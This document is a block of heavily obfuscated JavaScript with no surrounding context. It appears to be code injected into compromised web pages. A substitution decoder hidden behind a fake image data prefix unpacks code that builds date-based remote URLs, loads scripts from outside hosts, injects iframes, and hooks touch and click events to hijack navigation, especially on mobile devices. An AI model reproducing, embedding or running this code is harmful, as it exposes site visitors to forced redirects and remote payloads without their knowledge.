Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();